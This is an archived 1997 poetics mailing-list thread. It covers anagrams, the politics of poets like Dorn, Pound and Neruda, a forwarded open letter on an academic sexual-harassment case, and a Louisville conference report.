>Mark, it doesn't "sound" to this "observer" as if Bob Perelman were
>prescribing anything for poets, male or otherwise, with "large political
>ambitions"--rather observing a trend in some of them, over the course of
>their careers. There are probably tons of counterexamples that the mind
>doesn't notice first because they aren't as flashy to think of as a poet
>who *does* get embroiled in controversy.
>
>Bests
>Gwyn
>
>

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671. Joe Safdie
Re: this is still not a message
Fri 21 Feb 1997

I'm still looking for the anagram web-site in my "archives" and will post it when it turns up. In the meantime, here's something to whet, as they say, your "appetite":

Postmodern = modest porn

SAMUEL BECKETT = make, but select OR setback me lute (Irish inflection)
OR mute Blake sect (not to be confused with the
meek beast cult (and certainly not the
meet Keats club

(thanks to Heather McHugh for telling me about this originally and I hope to find it in about five minutes!)

↑ Index

672. manny savopoulos
READING!!
Fri 21 Feb 1997

DIASPORA ART & LITERATURE FOUNDATION

-presents-

eight poets---three languages---one voice

February 23, 1997 Sunday 5:00PM

Aldos Democratic Club
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Featuring-

Janet De Leon
Dimitrios Dolios
Kerrie Keriotis
Robert Manniello
Raphael Salinas
Manny Savopoulos
Vasiliki Sereti
Artemis Vallianatos

↑ Index

673. **Joe Safdie**
Re: this is still not a message
Fri 21 Feb 1997

OK, gram-fans, the server seems to be down momentarily but the site is

http://csugrad.cs.vt.edu/~eburke/anagrams.html

Thanks, Bob for weighing in on the Dorn/Pound thread; I've taken Aldon's invitation and responded to him personally, but I hope to still hear other's thoughts on this, to me, most important discussion . . .

↑ Index

674. **Michael Magee**
Re: spell check and ethics check
Fri 21 Feb 1997

---

re: Mark Weiss's comment to B. Perelman: "Is it possible that these really are tough and demoralizing times for those who believe in some sort--any sort--of equitable society? Are you proposing aesthetic quietism as a proper, even a possible, cure for those of us who continue to be afflicted with savage indignation?"

Aesthetic quietism seems hardly what Perelman was proposing. Perhaps just a practice of political engagement which doesn't devolve so sorrily into rant. I have no problem with pointing out and - more importantly, of course - *doing something* about "demoralizing times" and "savage indignation," but it seems to me there's an implicit nostalgia in Weiss's castigation of *these* times as opposed to others. If *these* are the bad times, when were the good ones? Utopian visions can be backward as well as forward looking and neither seem particularly fruitful to me. Albert Murray: "in spite of temporary setbacks, the normal expectation in every social science melodrama is that everything will turn out allright." What's more melodramatic than the silly bigotries a Pound or a Dorn or a Baraka fall into? No one wants them to assume a position of quietism just one which is brave enough to deal with the complexities of their particular themes, issues. Their Utopias are just the flip sides of their Dystopias. Neither are accurate and the vision tends to progress in a direction which inspires boredom as much as anything else. (Baraka's distancing himself from Black Nationalism seems an implicit realization of such problems). In any case I'm not sure highlighting the poles of "quietism" and "savage indignation" do us any good.

-Mike Magee.

↑ Index

675. Matthias Regan
this still knots a mess, sage
Fri 21 Feb 1997

> *I wont nothing of the kind, of course.*
> *now where is that web site?*

I won't not hinge fork mind, off curse
(nowhere tis hat we bs tie?)

I won taunt hanged for hind, focus
(now heart is at beastie?)

Iowa aunt hangs door find, fractus
(how earth sat beat sty?)

I tow haunts food rind, tacitus
(howe barthes ate my?)

It towers finds, tact
(hobart at me?)

I own facts,
(who art me?)

frown
(farts)

Matthias Regan
Northwestern University
Department of Chemistry
Phone: 847/[redacted]

↑ Index

676. Ian Wilson
Re: Fw: The Chronicle and Sexual Harrassment (fwd)
Fri 21 Feb 1997

Does someone have a copy of the Chronicle article as well as Cotter's letter that could be made available in this forum?

I have not heard that Syracuse plans to take back Dobyns. My understanding of the situation is that certain of the faculty were delighted with his actions: it gave them the perfect excuse to be rid of him.

The letter writers below seem naive in their call to modify capitalism, to end the commodification of celebrity.

IR Wilson

_____ Reply Separator _____
Subject: Fw: The Chronicle and Sexual Harrassment (fwd)
Author: UB Poetics discussion group <[redacted]> at
Internet
Date: 2/21/97 4:45 PM

> From: Julie Torrant <[redacted]>
> To: [redacted]
> Subject: The Chronicle and Sexual Harrassment (fwd)
> Date: Friday, February 21, 1997 3:04 PM
>
> ---------- Forwarded message ----------
> Date: Wed, 19 Feb 1997 13:48:27 -0500 (EST)
> From: Jennifer Mitchell <[redacted]>
> To: rtc <[redacted]>, jm6788 <[redacted]>,
> jt3355 <[redacted]>, Deb Kelsh <[redacted]>,
> [redacted], tjn842 <[redacted]>,
> [redacted]
> Subject: The Chronicle and Sexual Harrassment (fwd)
>
>
>
> COLLEAGUES: If you support our critique (below) of the practices of
> The Chronicle of Higher Education as it seeks to suppress open
> debate on the issue of sexual harassment in United States
> universities, please add your name and institutional affiliation
> to a copy of the text and send it to The Chronicle reporter
> who interviewed Jennifer Cotter, the victim of sexual harassment
> by Professor Stephen Dobyns, Syracuse University. (If you would
> like to read the letter Ms. Cotter is circulating regarding this
> issue and which our letter supports and expands upon, please send
> a brief post to either Deb Kelsh at [redacted] or
> JulieTorrant at [redacted].)
>
> The reporter's name is Robin Wilson, and her fax # is [redacted].
>
> Or, you may send it to the following editors and senior writers at
> The Chronicle:
>
> Scott Heller: [redacted];
> Courtney Leatherman: [redacted];

> CorbinGwaltney: [redacted];
> Scott Jaschik: [redacted];
> DeniseMagner: [redacted]
>
>
> Please forward this text to all interested parties.
>
>
> An Open Letter to the Community regarding The Chronicle of Higher
> Education's Suppression of Jennifer Cotter's Analysis of the Sexual
> Harassment committed against her by Stephen Dobyns of Syracuse Univer-
sity
>
> We write in support of Jennifer Cotter's attempts to resist the
> systematic suppression of ("her") analyses aimed at bringing to public
> knowledge and debate the very serious and widespread problem of sexual
> harassment in United States universities.
> We also write to protest the undemocratic practices of The
Chronicle
> of Higher Education and its staff by which it reduces the issue of
sexual
> harassment to a "trivial" one of "personality conflict." In suppressing
> Ms.Cotter's analysis of the systemic character of sexual harassment,
> The Chronicle, in effect if not by design, manufactures consent for the
> status quo of pervasive sexual harassment within the academy.
> Within a formal democracy, consent for exploitative, oppressive
> social structures must continually be produced through various
pedagogical
> practices, with pedagogy broadly understood as the habits and practices
of
> institutions and their individual members which constitute conditions for
> the production and dissemination of meaning.
>
> It is axiomatic, then, that when Robin Wilson interviews
> Jennifer Cotter and focusses on the details of what happened when Stephen
> Dobyns committed sexual harassment against her, and when Ms. Wilson
> ignores and effectively suppresses efforts by Ms. Cotter to explain her
> understanding of sexual harassment's systemic causes and their
> institutional effects, Ms.Wilson is participating in The Chronicle's
> effort to manufacture a reading of sexual harassment as an "accident" or
> "quirky effect" of Dobyns's "individual" constitution which, given his
> "creativity" and the PLEASURE it gives "us all," we had best simply

> forgive and accept--for the common good!
> This reading, as Cotter notes, leaves sexual harassment and its
> systemic causes untouched, and prepares a homecoming for Dobyns by
> excusing him and relaxing pressure on Syracuse to confront both the
> incident as systemic violence as well as its own failure to follow
> through on its own sanctions against him.
> But it also serves the interests of the University-as-Industry,
> that is, the university as one site for manufacturing consent that serves
> business interests and reaps benefits from doing so. The reading
> produced by Wilson and The Chronicle manufactures consent for Syracuse
> University's tolerance of sexual harassment. This effectively
legitimates
> the manufacturing of consent necessary to other universities if, for
> example, they are to hire celebrities who will attract students and
> funding and lend the particular university an "exciting" "aura."
> "Celebrity" is an effect of the privatized, "personal spin" "creative"
> stars put on socially and systemically structured phenomena.
> Privatization of socially structured phenomena, however, is an act of
> commodification that must be made to disappear, since the visibility of
> this process would not only reveal the particular form of "celebrity
> creativity" privileged on many campuses to be an effect of the
> privatization of meaning made possible by public university funds. It
> would also reveal the university star system in general as complicit with
> those very (socially produced) structures of violence that condition the
> occurrence of sexual harassment as systemic. The manufacturing of
consent
> for Syracuse University's acceptance of Dobyns achieves just such a
> magical effect. By making celebrity and university involvement in
> corporate welfare disappear, a gap between the university and business is
> produced. This gap-- produced by various tactics at different
> universities that work in concert with a variety of legitimizing
> mechanisms--is nevertheless what allows universities to maintain a
posture
> of freedom from business and establishment interests, in turn allowing
> universities to pull in lots of money, apparently on the basis of their
> own and their celebrities' "merit" rather than structural violence. In
> its turn, business benefits from the resulting emphasis that reinstates
> and naturalizes meritocracy and masks the interests of the capitalist
class.
> To produce and disseminate readings which manufacture the
> appearance of such a gap is to aid in the masking of structural violence
> and prevent transformation of its conditions of possibility. In

> other words, to produce and disseminate the reading of sexual harassment
> as an effect of a "quirk" in an otherwise "valuable" individual
> is to participate in the pedagogy of profiteering. This pedagogy works to
> contain issues rather than open them to public debate, analysis and
> critique. In doing so, it serves only the establishment segment of
> the community.
> It is, to our minds, astounding that The Chronicle staff thinks
> the profit motive behind their work is invisible, not only given the
> general understanding of pedagogy in the broad sense we have put forth,
> but also the U.S. Army's and Navy's comparatively rigorous confrontation
> of their institutional structures of violence against women. It is an
> indication of The Chronicle's massive, establishment interest in
> containing this issue (rather than opening it to debate and analysis)
> that produces a rather pointed irony: The Chronicle of HIGHER
EDUCATION--
> supposedly highly democratic in method and aim--is suppressing systemic
> analysis and collective response to sexual harassment while the
presumably
> authoritarian Army and Navy open up to the demand to redress
> such patterns. The Chronicle's habits and practices, in short,
> effectively work to position the Army and Navy--NOT HIGHER EDUCATION--
as
> the VANGUARD in redressing sexual harassment!
> In the face of such strenuous effort on the part of The
> Chronicle to whitewash critical connections between academia and
business,
> we need to ask: Is The Chronicle interested in shutting the door on a
> potentially explosive issue, effectively rehabilitating male-dominated
> education? That is, is there a sense that Ms. Cotter could be the
> Anita Hill of academia? Cotter's systemic analysis of the social
function
> of harassment is an explicit call to other victims of harassment to press
> charges, and to academic institutions to expose and redress such charges.
> By attempting to sever Cotter's "personal story" from the systemic
> analysis of harassment which she forwards, The Chronicle works to
suppress
> the potential of this case to encourage other victims of harassment in
> the academy and their supporters. There has been a widely-reported
> increase in formal charges of sexual harassment following Anita Hill's
> Congressional testimony. Does the weakening of Cotter's argument by The
> Chronicle's practices serve to contain such a response within the
academy?

> We see the opportunities this case presents rather differently.
> This case is an opportunity for critical reflection and collective
> resolve to intervene in the patterns which enable sexual harassment and
> all other kinds of abuse. We urge The Chronicle to publish debates and
> analyses of sexual harassment and all issues of oppression within
> academia, rather than reports which manufacture consent for containing
the
> contradictions between our myth of equality and individual freedom and
> the realities of complex social patterns of oppression. That is, we call
> for The Chronicle to publish debates and analyses that enable the
> understanding of the relationships among many "interpersonal" cases in
> terms of TRANSPERSONAL patterns of oppression, so that The Chronicle
> serves not just the few, but ALL members of the community.
>
>
> The Red Theory Collective
> (U at Albany, NY)
>
>
> Deb Kelsh
> Laura Lane
> Jennifer Mitchell
> Tom Nespeco
> Julie Torrant
> Rob Wilkie

↑ Index

677. **George Bowering**
Re: people-not-here-talk -Reply
Fri 21 Feb 1997

I was wondering why the anti-Dorn animus, too; only people I can remember his dissing are rednecks.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

678. George Bowering
Re: oh my god
Fri 21 Feb 1997

> *Hey, I'm deeply disappointed. I just posted my entire sexual, criminal, & literary history to the list by accident and it never showed up.*
> *Just shows where too much trust in technology gets you.*
>
> *wendy (aside, stage left)*

You must have a lousy server. It all showed up on my screen, and I forwarded it to some of my best friends in Cleveland and Toronto.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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679. Maria Damon
Re: spell check and ethics check
Fri 21 Feb 1997

---

bob p rites:
>It makes me think poets are very irritated by being imprisoned, finally,
>in the aesthetic sphere...

nor do critics. thanks bob for pointing out that politics, not just "textual," are relevant at every turn, and that poets have just as much of a right to be considered politically as anyone else.--md

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680. Eliza McGrand- CVA Guest
Re: Fw: The Chronicle and Sexual Harrassment (fwd)
Fri 21 Feb 1997

---

yeah, what exactly DID s. dobyns do? i know universities have a grotesque "boys will be boys" policy when it comes to sexual harrassment of students, especially when the harasser is is celebrity. perhaps not ALL universities. but i can think of two particularly grotesque cases in boston area, involving three different universities, without trying very hard at all! e

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681. **Mark Weiss**
Re: spell check and ethics check
Fri 21 Feb 1997

Of course we'll never know what Perelman meant if others keep speaking for him. But I can tell you that by "these times" I meant the present conservative tenor of the country that makes it harder to organize around most indignations than it used to be in the bad old days when we had to face large numbers of people with guns, not some past utopia when there was less to be indignant about.

At 05:21 PM 2/21/97 -0500, you wrote:
>re: Mark Weiss's comment to B. Perelman: "Is it possible that these
>really are tough and demoralizing times for those who believe in
>some sort--any sort--of equitable society? Are you proposing
>aesthetic quietism as a proper, even a possible, cure for
>those of us who continue to be afflicted with savage indignation?"
>
>Aesthetic quietism seems hardly what Perelman was proposing.
>Perhaps just a practice of political engagement which doesn't
>devolve so sorrily into rant. I have no problem with pointing out and
>- more importantly, of course - *doing something* about
>"demoralizing times" and "savage indignation," but it seems to me
>there's an implicit nostalgia in Weiss's castigation of *these* times
>as opposed to others. If *these* are the bad times, when were the
>good ones? Utopian visions can be backward as well as forward
>looking and neither seem particularly fruitful to me. Albert Murray:
>"in spite of temporary setbacks, the normal expectation in every
>social science melodrama is that everything will turn out allright."
>What's more melodramatic than the silly bigotries a Pound or a Dorn
>or a Baraka fall into? No one wants them to assume a position of
>quietism just one which is brave enough to deal with the
>complexities of their particular themes, issues. Their Utopias are
>just the flip sides of their Dystopias. Neither are accurate and the
>vision tends to progress in a direction which inspires boredom as
>much as anything else. (Baraka's distancing himself from Black
>Nationalism seems an implicit realization of such problems). In any
>case I'm not sure highlighting the poles of "quietism" and "savage
>indignation" do us any good.
>
>-Mike Magee.
>
>

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682. **Schuchat Simon**
Re: spell check and ethics check
Fri 21 Feb 1997

Large political ambitions do seem to do something to poets. (Real politicians, in my own experience, are much much much more cautious in their speech, are mainly concerned with keeping out of trouble.) The list keeps focused on Pound, Dorn, fascism, etc. That isn't the only ideological problem for poets. Mayakovsky, who himself said he "stepped on the throat of his own song," and spent years writing political posters -- which do have considerable artistic merit -- and a couple years writing advertising jingles for the largest grocery store in Moscow. (imagine Frank O'Hara on Gristedes). But there is great poetry even in rather troubling works like My Soviet Passport. (There's enough dreck as well.) Or Neruda: Canto General is a great poem, but I really do gag on the sentimental Stalinism:

> In three rooms of the old Kremlin
> lives a man named Joseph Stalin.
> His bedroom light is turned off late.
> The world and his country allow him no rest.
> Other heroes have given birth to a nation,
> he helped to concieve his as well,
> to build it
> and to defend it.
> His immense country is, then, part of himself
> and he cannot rest because it is never at rest.

etc etc.

And Dante - being no medieval Catholic, and a Jew, I find that ideology repugant, too.

It seems to me, in all of these cases, the problems are a) the poets are still imperfect human beings and b) the ideologies for saving the world tend to be on such sweeping scale that they inevitably involve alot of what Anselm referred to as "othering the Other" which gives permission for the sort of behavior and espousal of such views we are going back and forth on in this thread. When poets sing on behalf of power, that's a problem, and when poet's decide they have unique access to the truth, that too can lead to problems -- but in both cases the poetry can remain great.

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683. **Dave Zauhar**

Re: spell check and ethics check

Fri 21 Feb 1997

<snip>
  Or Neruda: Canto General is a great poem, but I really do gag
>on the sentimental Stalinism:
>
> In three rooms of the old Kremlin
> lives a man named Joseph Stalin.
> His bedroom light is turned off late.
> The world and his country allow him no rest.
> Other heroes have given birth to a nation,
> he helped to concieve his as well,
> to build it
> and to defend it.
> His immense country is, then, part of himself
> and he cannot rest because it is never at rest.
>
>etc etc

Pablo. . . where was your shit-detector
when it came to Stalin
and his evil-smelling crew?
His bloodied hands stank to heaven
yet you took the stink intor your lungs
and didn't cough once. Or retch.
Why? Did the Georgian smile
on that human shitpile
fool you? Or his moustache
a wiser poet than you
likened to a cockroach?
By all means one should fight for the poor:
let them have justice and bread
but one should fight without illusions,
without laughing gas in one's cavities.

--Irving Layton

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684. Steven Marks

this is a poetry column

Fri 21 Feb 1997

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but this is

Steven Marks

http://members.aol.com/swmarks/welcome.html

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685. **Tom Mandel**

poets and their repugnant whatevers

Sat 22 Feb 1997

1. There is a difference, certainly, between an objection I might make to, let us say, an anti-semitism I find in Dante and an anti-semitism I find in a contemporary poet.

In some essential sense, an easy-to-follow one, Dante is not a living person. He's dead. His voiced opinion cannot -- by his voicing of it -- affect the politics and social facts of my life. (not to say that others can't so use it: I'd take that up with them)

My objection to Dorn was to the living person's words and their living reverberating presentness, not to the work either for that matter but to the opinions of the person; why is this distinction hard to grasp?

It is a person causing trouble whom we must resist.

2. Bob Perelman suggests my offer to bash Dorn is close to a male poet's need to "take it to the street," and how wrong can he be actually. I chose the words "punch in the mouth" after all. At the same time, I did (twice) say "if he comes around me" which should be easy to interpret. I'm suggesting that the aggression is located in the objectionable opinion. And expressing my annoyance at the fuzzy non-thinking I found on this subject here in the list -- as if evil required interpretation to be understood (no, only to be explained away). My technique was what Brecht called "plumpe Denken" -- gross or vulgar formulation of a thought, a kind of rhetoric yes.

3. Bob also suggests that "poets are very irritated by being imprisoned, finally, in the aesthetic sphere." But poets are not imprisoned in the (not even "an") aesthetic sphere. A poem is in language the inherent vehicle of ethics and politics. The history of poets addressing directly (to make or change) a current social scene does not begin with Dante nor end with Adam Mickiewicz. It is coeval with poetry surely. In some sense *well*beyond the way that a brushstroke e.g. is a signature of the artist, language holds or extends the relation of poet and society to the forefront of consciousness in reading a poem. What is said in a poem doesn't have the value of what color is used in a painting. It is not, iow, a matter of aesthetics at all. Precision in thought, I am saying, is essential to a poet in a way it is not to a painter; sloppy moral thinking by poets about poets ain't allowable.

Well, maybe I'm overstating, do youthink so? It's late and I'm tired too tired prob. to take "precision of thought" for a subject, as I'm not being terribly precise myself. But, then, in a situation plain as the nose on one's face, precision

comes fairly easily. Or should. Not much weighing and measuring required to revile racism.

Tom Mandel

Tom Mandel
****
Screen Porch * [redacted]
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****

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686. Marjorie Perloff
Re: Mac Wellman play
Sat 22 Feb 1997

Have just had the good fortune to see Mac Wellman's new play at the Ivy Substation in LA and want to urge those of you in the LA area to go! It's called "The lesser Magoo" and has music by Michael Roth from San Diego--really brilliant. Anyway, Mac's play takes off on just about everything in our society from political rhetoric to New Age to the standard interview (which made me think of the MLA interviews for job candidates)--and the language is extraordinary--with its "unusualists". It's only one one more week (through Sat night March 1) and I hope some readers of this list will get to see it--great acting too.

Marjorie Perloff

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687. Bennett M. Sm [Dimpson
Re: this is not a message
Sat 22 Feb 1997

please
pass
the drops

I'm
going
blind

&c.&c.&c.&c.&c.&c.&c.&c.
&c.
Bennett Simpson &c.
[redacted] &c.

&c.
&c.&c.&c.&c.&c.&c.&c.&c.

↑ Index

688. **Miekal And**
jogg﹐d
Sat 22 Feb 1997

jog my memory, Mac Wellman published what magazine?

also sometime back there was an inquiry about defunkt literary mags, which is something Im keenly innerested in. would love to know of, or see a website established that logged this information in somewhat of a chronological manner, as well as notating which publically accessible archives these mags are housed in.

miekal
--
@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

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689. **Thomas M. Orange**
Louisville Report
Sat 22 Feb 1997

sorry i didn't get a chance to get to an email terminal yesterday. but today the connection is much quicker.

i of course can't be too objective about my panel but i thought it went well and got a nice attendance yesterday (micahel boughn, alan golding, mark scroggins, and peter jaeger were there among others):

strategizing american poetics after williams
thomas orange, the university of western ontario, "imagism, objectivism, and the making of william carlos williams"
david baptiste chirot, university of wisconsin-milwaukee, "williams, kerouac, grenier: visual words, soundful visions"

we had a little trouble getting our overhead and slide projectors synchronized, but dave's paper very nicely blended commentary with slides of grenier's recent work which i am now happy to have finally seen.

the next panel i went to: nation languages: kamau braithwaite, robert crawford and r.s. thomas mark d. mcmorris, brown university, "mis-handling the legacy of empire: strategies of dynamic dispacement in kamau braithwaite's x/self" mark scroggins, florida atlantic university, "the forked tongue: contemporary scottish poetry and the dilemma of language" david t. lloyd, lemoyne college, "through the looking glass: r.s. thomas's the echoes return slow as poetic autobiography" very interesting points of commonality between what would seem to be very different papers, not a whole lot of time left for discussion at the end unfortunately. but i have lots of new things to look up and read when i go home.

talked zukofsky stuff over lunch with mark and and peter and jonathan and then alas, the lure of book- and cd-shopping pulled me away from my duties as a dutiful conference-goer. went down to the bardstown road area of louisville and picked up a few books, but more exciting perhaps was finding tampa red and mississipi fred mcdowell cds (just cant find that stuff in canada).

this afternoon i will go hear peter jaeger's talk on steve mccaffery, and this panel also has papers on joan retallack, kathleen fraser, and tina darragh. then it's back on the road for the long trip back to london ont. it was beautifully warm here all weekend (22C/74F) but now it's gotten cold again, winter's back.

sorry for the inadequacies of this travelogesque sketch (or sketchy travelog). anybody who wants to know more can certainly backchannel me, and maybe some of the other poetixers in attendance here will throw in their two cents' worth.

cheers,
t.

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690. **Mark Weiss**
Neruda and Stalinism
Sat 22 Feb 1997

I'm going to suggest an explanation of why Neruda's "shit detector" malfunctioned in the case of Stalin. This will require a little history, both personal and more general. Although my family were what would be called democratic socialists in Europe (Eugene V. Debs and Norman Thomas were tutelary dieties in our household), there were still a lot of Stalinists around when I was growing up. Some of them managed to hold on to the faith right into the sixties (My father's flirtation with the American Communist Party, like that of most American radicals, did not survive the Hitler-Stalin pact of 1939). These were the fathers and mothers of some of my friends, and I knew them well. Most subscribers to the list are probably familiar with Ginsberg's description of a cell meeting in

Kaddish. That really seems to have been what it was like. The party served a frunction for the believers not unlike the church for fundamentalist christians--it was the center of social life as well as ideology. As a result, members had little intimate contact with non-believers. My best friend's parents actually met and carried on their courtship at cell meetings. This exclusivity was enforced from the outside as well as from the inside. Police and FBI harrassment, during the cold war and before, were a fact of everyday life, and blacklisting, even in less than glamorous fields, was commonplace. The labor movement, in a bid to overcome the brutality of the suppression to which it was accustomed, was purged of anyone who could be suspected of radicalism. Religious schools reaped an ironic bonanza of cheap atheist labor in the form of teachers who could no longer teach in the public schools. Early television was dominated by McCarthy's show-trials--I used to watch them after school. And the trial and execution of the Rosenberg's, whatever their culpability may have been, was an extended nightmare for people who assumed that we were in the midst of a pogrom and who still were traumatized by the images (for some, who had been there, by the reality) of the death-camps. To outward appearances, weren't they a lot like us? Mrs. Rosenberg and my mother even had the same first name, and the full-page photograph of her body slumped over, straining against the leather restraints of the electric chair, that graced the cover of the Daily News the morning after the execution was the subject of many nightmares and is still etched in my brain. If even members of the ruling class, and Protestants, to boot, were not safe--we had seen Alger Hiss destroyed--what would happen to Jewish liberals and radicals? You didn't have to be particularly radical to be affected. The historian Richard Hofstadter, for instance, spent years not being able to get a permanent job because his views, far from Stalinist, were known to be left of center. My father lived in fear that his youthful socialist activism would come to light and cost him his livelihood, and when I began protesting and signing petitions they were terrified for me. I was cautioned to at least refrain from signing my name, because you never know when a signature would come back to haunt you. To their credit, when the Vietnam War heated up they did overcome their fears and participate in protest marches, but it took a fair amount of courage for them to do so. People routinely got arrested for refusing to take shelter during air raid drills. I think the first time I was called a communist was when I was twelve years old. I was arguing politics with a friend as we crossed the street, declaring my allegiance to Adlai Stevenson, when the cop directing traffic spit the word at me like a curse. Add to this the general assumption that the government and the official media were dispensing propaganda instead of news. Most of us knew from the radical press, for instance, that Arbenz, the democratically-elected president of Guatemala, portrayed in the main-stream media as a communist and a threat to the American Way of Life, was at best mildly left of center, and that his overthrow was a CIA job, not

a popular uprising. Anyone who remembers the Vietnam era will not be surprised by this. It's now universally known that the government lied to us repeatedly about what was going on, and for many years the mainstream press was eagerly complicit. I would go to demonstrations in Washington that you didn't have to be a professional crowd-counter to know were pretty enormous--I mean, they filled a lot of densely-packed space. In the wee hours, back in NY, I'd read the early edition of the Times and learn that there had been maybe ten thousand of us. It was late in the war the the editorial offices told their reporters that they no longer had to lie, and suddenly demonstrations that were no larger than the earlier ones were reported as hundreds of thousands strong. To get the news you had to read the reports of the French Press Agency. To older American radicals this was no surprise. One indication of the degree of duplicity going back many years was the changing manipulation of American public opinion about Stalin himself. A monster in the twenties and early thirties, an uneasy trading partner in the late thirties, a heroic ally when it suited the US government during WWII, a paranoid monster thereafter. Why assume that any of it was true? So there was fear, isolation, distrust of government and mainstream sources, the fact of persecution, even for the beliefs of years past, coercion to betray the pasts of friends, and there was also very effective Russian propaganda. Some of my friends' Communist parents, like Neruda, had been to the Worker's Paradise, often at the expense of the Russian government by way of the American party. They were very carefully shepherded from Potemkin villages to model communes and factories. That was the reality they chose to believe in. Reports to the contrary were assumed to be tainted. Of course, none of this, even in those circumstances, would have been possible without the will to believe. Utopianism, like any true believerhood, flourishes in a climate of desperation as a comfort for the afflicted. The worse the desperation the more fervid the belief tends to be. This brings us at last to Neruda. If things were bad for leftists in America, they were awful in the feudal societies of Latin America. The kind of quasi-official violence that marked US labor conflicts in the first three decades of this century persisted in Chile, with the brief respite of the Allende regime, until Pinochet. Neruda and other intellectuals were in constant danger. He describes in his memoirs, and also, and I think more eloquently, in his Nobel lecture, his narrow and desperate escape across the Andes. The "disappearances" that became notorious under Pinochet and under the generals in Argentina had been a fact of life, if less common, for a long time. And Neruda did, finally, convenientlt die on the day of Pinochet's putsch. Stalin was one of history's great monsters, and Neruda's shit detector certainly failed. He could, perhaps, have known better. But his was a complex naivete that can only be read, I think, in context.

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691. **Mark Weiss**
(no subject)
Sat 22 Feb 1997

I don't think Mac ever published a mag; if he did, it was before he came to New York in the 70's. He did edit a collection of theater criticism and I think two collections of contemporary plays. And of course he has published several books of poems and novels, mostly with Sun&Moon. I wrote the intro to his first major poetry collection, which was published by New Rivers. Mac has one a bunch of Obies. He may be the most prolific playwright since Lope da Vega, and he's probably the best we've got. At his best he's great. And I use the term advisedly.

At 10:06 AM 2/22/97 +0100, you wrote:
>jog my memory, Mac Wellman published what magazine?
>
>also sometime back there was an inquiry about defunkt literary mags,
>which is something Im keenly innerested in. would love to know of, or
>see a website established that logged this information in somewhat of a
>chronological manner, as well as notating which publically accessible
>archives these mags are housed in.
>
>miekal
>--
>@#
>Dreamtime Village website: http://net22.com/dreamtime
>QAZINGULAZA: And/Was/Wakest website:
>http://net22.com/qazingulaza
>e-mail for DT & And/Was: [redacted]
>

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692. **Maria Damon**
Re: Louisville Report
Sat 22 Feb 1997

---

thanks thomas orange, i'm particularly interested in how "my" panel went, i couldn't go (screwed up on travel plans, utterly exhausted, too $), it was w/ joe harrington and chris beach. also, does anyone have an e-address for mark mcmorris?--md

At 10:36 AM -0500 2/22/97, Thomas M. Orange wrote:
>sorry i didn't get a chance to get to an email terminal yesterday. but
>today the connection is much quicker.

>
>i of course can't be too objective about my panel but i thought it went
>well and got a nice attendance yesterday (micahel boughn, alan golding,
>mark scroggins, and peter jaeger were there among others):
>
>strategizing american poetics after williams
> thomas orange, the university of western ontario, "imagism,
>objectivism, and the making of william carlos williams"
> david baptiste chirot, university of wisconsin-milwaukee,
>"williams, kerouac, grenier: visual words, soundful visions"
>
>we had a little trouble getting our overhead and slide projectors
>synchronized, but dave's paper very nicely blended commentary with slides
>of grenier's recent work which i am now happy to have finally seen.
>
>the next panel i went to:
>nation languages: kamau braithwaite, robert crawford and r.s. thomas
> mark d. mcmorris, brown university, "mis-handling the legacy of
>empire: strategies of dynamic dispacement in kamau braithwaite's x/self"
> mark scroggins, florida atlantic university, "the forked tongue:
>contemporary scottish poetry and the dilemma of language"
> david t. lloyd, lemoyne college, "through the looking glass: r.s.
>thomas's the echoes return slow as poetic autobiography"
>very interesting points of commonality between what would seem to be very
>different papers, not a whole lot of time left for discussion at the end
>unfortunately. but i have lots of new things to look up and read when i
>go home.
>
>talked zukofsky stuff over lunch with mark and and peter and jonathan and
>then alas, the lure of book- and cd-shopping pulled me away from my duties
>as a dutiful conference-goer. went down to the bardstown road area of
>louisville and picked up a few books, but more exciting perhaps was
>finding tampa red and mississipi fred mcdowell cds (just cant find that
>stuff in canada).
>
>this afternoon i will go hear peter jaeger's talk on steve mccaffery, and
>this panel also has papers on joan retallack, kathleen fraser, and tina
>darragh. then it's back on the road for the long trip back to london ont.
>it was beautifully warm here all weekend (22C/74F) but now it's gotten
>cold again, winter's back.
>
>sorry for the inadequacies of this travelogesque sketch (or sketchy

>travelog). anybody who wants to know more can certainly backchannel me,
>and maybe some of the other poetixers in attendance here will throw in
>their two cents' worth.
>
>cheers,
>t.

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693. **Maria Damon**
Re: poets and their repugnant whatevers
Sat 22 Feb 1997

---

i don't think yr being extreme or overstating yr case. the more u talk the more i'm in agreement w/ you, tho i still wouldn't punch dorn in the mouth, mostly cuz i haven't been trained to do it properly; i'd probably leave the room or tell him verbally to not talk like that around me. actually, at our panel at mla, my entire paper was an unintentional refutation of his.

12:52 AM -0500 2/22/97, Tom Mandel wrote:
>1. There is a difference, certainly, between an objection I might make to,
>let us say, an anti-semitism I find in Dante and an anti-semitism I find in
>a contemporary poet.
>
>In some essential sense, an easy-to-follow one, Dante is not a living
>person. He's dead. His voiced opinion cannot -- by his voicing of it --
>affect the politics and social facts of my life. (not to say that others
>can't so use it: I'd take that up with them)
>
>My objection to Dorn was to the living person's words and their living
>reverberating presentness, not to the work either for that matter but to
>the opinions of the person; why is this distinction hard to grasp?
>
>It is a person causing trouble whom we must resist.
>
>2. Bob Perelman suggests my offer to bash Dorn is close to a male poet's
>need to "take it to the street," and how wrong can he be actually. I chose
>the words "punch in the mouth" after all. At the same time, I did (twice)
>say "if he comes around me" which should be easy to interpret. I'm
>suggesting that the aggression is located in the objectionable opinion. And
>expressing my annoyance at the fuzzy non-thinking I found on this subject
>here in the list -- as if evil required interpretation to be understood
>(no, only to be explained away). My technique was what Brecht called
>"plumpe Denken" -- gross or vulgar formulation of a thought, a kind of

>rhetoric yes.
>
>3. Bob also suggests that "poets are very irritated by being imprisoned,
>finally, in the aesthetic sphere." But poets are not imprisoned in the (not
>even "an") aesthetic sphere. A poem is in language the inherent vehicle of
>ethics and politics. The history of poets addressing directly (to make or
>change) a current social scene does not begin with Dante nor end with Adam
>Mickiewicz. It is coeval with poetry surely. In some sense *well*beyond the
>way that a brushstroke e.g. is a signature of the artist, language holds or
>extends the relation of poet and society to the forefront of consciousness
>in reading a poem. What is said in a poem doesn't have the value of what
>color is used in a painting. It is not, iow, a matter of aesthetics at all.
